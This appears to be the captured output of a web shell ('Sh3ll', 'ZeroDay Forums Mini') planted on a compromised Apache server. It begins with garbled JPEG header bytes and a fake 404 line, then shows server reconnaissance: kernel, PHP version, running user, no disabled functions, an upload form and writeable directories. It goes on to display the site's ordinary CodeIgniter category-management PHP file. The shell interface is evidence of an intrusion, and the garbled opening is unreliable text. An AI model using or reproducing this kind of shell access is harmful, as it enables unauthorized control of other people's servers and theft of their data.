����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/libraries/Lcategory.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Lcategory {
	//Retrieve  category List	
	public function category_list()
	{

		$CI =& get_instance();
		$CI->load->model('dashboard/Categories');
		$category_list = $CI->Categories->category_list_all(); 
		$total=0;
		$i = 0;
		if(!empty($category_list)){	
			foreach($category_list as $k=>$v){$i++;
			   $category_list[$k]['sl']=$i;
			}
		}
		$data = array(
				'title' => display('manage_category'),
				'category_list' => $category_list,
				
			);

		$categoryList = $CI->parser->parse('dashboard/category/category',$data,true);
		return $categoryList;
	}
	//Category Add
	public function category_add_form()
	{
		
		$CI =& get_instance();
		$CI->load->model('dashboard/Categories');
		$parent_category = $CI->Categories->parent_category();

		$data = array(
				'title' => display('add_category'),
				'category_list' => $parent_category
			);
		$content = $CI->parser->parse('dashboard/category/add_category_form',$data,true);
		return $content;
	}

	//Category Edit Data
	public function category_edit_data($category_id)
	{
		$CI =& get_instance();
		$CI->load->model('dashboard/Categories');
		$category_detail = $CI->Categories->retrieve_category_editdata($category_id);
		$parent_category_list = $CI->Categories->parent_category_list($category_id);


		$data=array(
			'title'			=> display('category_edit'),
			'category_id' 	=> $category_detail[0]['category_id'],
			'category_name' => $category_detail[0]['category_name'],
			'menu_pos' 		=> $category_detail[0]['menu_pos'],
			'status' 		=> $category_detail[0]['status'],
			'top_menu' 		=> $category_detail[0]['top_menu'],
			'cat_image' 	=> $category_detail[0]['cat_image'],
			'cat_favicon' 	=> $category_detail[0]['cat_favicon'],
			'parent_category_id' => $category_detail[0]['parent_category_id'],
			'category_list'	=> $parent_category_list,
			);
		$categoryEdit = $CI->parser->parse('dashboard/category/edit_category_form',$data,true);
		return $categoryEdit;
	}
}
?>

ZeroDay Forums Mini